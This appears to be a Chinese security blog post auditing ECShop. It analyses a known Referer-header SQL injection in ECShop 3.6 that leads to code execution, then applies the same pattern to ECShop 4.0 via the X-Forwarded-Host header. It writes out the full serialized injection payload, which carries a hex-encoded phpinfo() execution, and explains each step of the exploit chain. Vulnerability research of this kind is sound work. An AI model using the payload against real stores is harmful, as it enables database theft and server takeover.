Ecshop 4.0 SQL(代码审计从Nday到0day )

  • A+
所属分类:代码审计



点击蓝字 ·  关注我们


01


背景


payload Referer 处 SQL注入导致RCE(先对公开的进行分析学习)

Ecshop 4.0 SQL(代码审计从Nday到0day )


02


为什么要在HTTP头 SQL注入


require(dirname(__FILE__).'/includes/init.php'); //核心文件

跟一下addslashes_deep做了什么

Ecshop 4.0 SQL(代码审计从Nday到0day )

用户传参被转义,gbk的话可以宽字节绕过,或者考虑二次注入,或者找数字型注入,无需闭合。
在HTTP头内的参数不会被转义。(优先考虑)

Ecshop 4.0 SQL(代码审计从Nday到0day )

03


ecshop3.6 payload 分析


user.php?act=login   Referer 为入口处。


0x01

  • 45ea207d7a2b68c49582d2d22adf953aads 是什么?

  • a:2:{s:3:“num”;s:107:“*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -”;s:2:“id”;s:11:“-1‘ UNION/*”;} //为什么要序列化?


Ecshop 4.0 SQL(代码审计从Nday到0day )



0x02

  • HTTP_REFERER 可控

  • assign加载 ;display展示模板文件 //可控参数被带入assign函数


Ecshop 4.0 SQL(代码审计从Nday到0day )



0x03

  •  HTTP_REFERER 伪造


Ecshop 4.0 SQL(代码审计从Nday到0day )



0x04

  • $back_act 可控


Ecshop 4.0 SQL(代码审计从Nday到0day )



0x05

  • $smarty= new cls_template;


Ecshop 4.0 SQL(代码审计从Nday到0day )



0x06

  • assign


Ecshop 4.0 SQL(代码审计从Nday到0day )



0x07

  • assign

  • back_act  user_passport.dwt模板赋值

Ecshop 4.0 SQL(代码审计从Nday到0day )



0x08

  • display

Ecshop 4.0 SQL(代码审计从Nday到0day )



0x09

  • Display

  • 45ea207d7a2b68c49582d2d22adf953aads是什么?

  • _echash?对结果通过echash 进行分割处理

Ecshop 4.0 SQL(代码审计从Nday到0day )



0x10

  • Display

  • 45ea207d7a2b68c49582d2d22adf953aads是什么?

  • _echash 的值

  • 与 payload中 45ea207d7a2b68c49582d2d22adf953aads 对比  多了ads

Ecshop 4.0 SQL(代码审计从Nday到0day )



0x11

  • Display

  • Insert_mod 

  • 分割?(通过|进行了分割处理传参)

Ecshop 4.0 SQL(代码审计从Nday到0day )


0x12

  • Display

  • Insert_mod 

  • a:2:{s:3:“num”;s:107:“*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -”;s:2:“id”;s:11:“-1‘ UNION/*”;} //为什么要序列化?


Ecshop 4.0 SQL(代码审计从Nday到0day )



0x13

  • SQL

    过_echash 进行分割,传参进入insert_mod

    Ecshop 4.0 SQL(代码审计从Nday到0day )



0x14

  • SQL

通过_echash进行分割,传参进入insert_mod,打印$k会发现分割后,剩下的ads|序列化后的数据,进入insert_mod(key值为5,满足$key%2 ==1)

Ecshop 4.0 SQL(代码审计从Nday到0day )


0x15

  • SQL

Insert_mod 处理

ads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}

Ecshop 4.0 SQL(代码审计从Nday到0day )



0x16

  • SQL

Insert_mod处理,通过分割后,$fun与多出的ads 进行拼接,$para是我们可控的序列化数据,最后被带入insert_ads造成SQL 注入。

Ecshop 4.0 SQL(代码审计从Nday到0day )



0x17

  • SQL 拼接导致的SQL 注入

Ecshop 4.0 SQL(代码审计从Nday到0day )



0x18

  • HTTP 头传参(防止被转义)

  • 可控参数代入assign渲染模板

  • display 进行_echash进行分割,带入insert_mod

  • 一个可以利用的inser_xxx函数 造成SQL

04


Ecshop 4.0 SQL  葫芦画瓢



0x01

  • 新的HTTP头寻找


Ecshop 4.0 SQL(代码审计从Nday到0day )


Ecshop 4.0 SQL(代码审计从Nday到0day )



0x02

  • Get_domain以HTTP_X_FORWARDED_HOST获取返回Function url() 函数调用了 get_domain 函数。


Ecshop 4.0 SQL(代码审计从Nday到0day )


0x03

  • 可控点有了,找带入assign然后被display展示,

比如user.php$action=collection_list 时,可控,代入,展示。

Ecshop 4.0 SQL(代码审计从Nday到0day )



0x04

  • 可以加载的insert_xxx


Ecshop 4.0 SQL(代码审计从Nday到0day )

  • Insert_user_account   拼接注入user_id等参数可控

 

Ecshop 4.0 SQL(代码审计从Nday到0day )


05


Payload构造



0x01

  • $_echash

Ecshop 4.0 SQL(代码审计从Nday到0day )

  • 函数名 user_account
  • SQLpayload 序列化后的数据



0x02

  • SQLpayload

Ecshop 4.0 SQL(代码审计从Nday到0day )


Ecshop 4.0 SQL(代码审计从Nday到0day )


06


总结


 
            Payload在文中~,更多干货、或者0day 请关注我们,持续get哦!      
           [ 本文供学习参考,请勿用于非法用途]



EDI安全

Ecshop 4.0 SQL(代码审计从Nday到0day )

扫二维码|关注我们


一个专注渗透实战经验分享的公众号


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: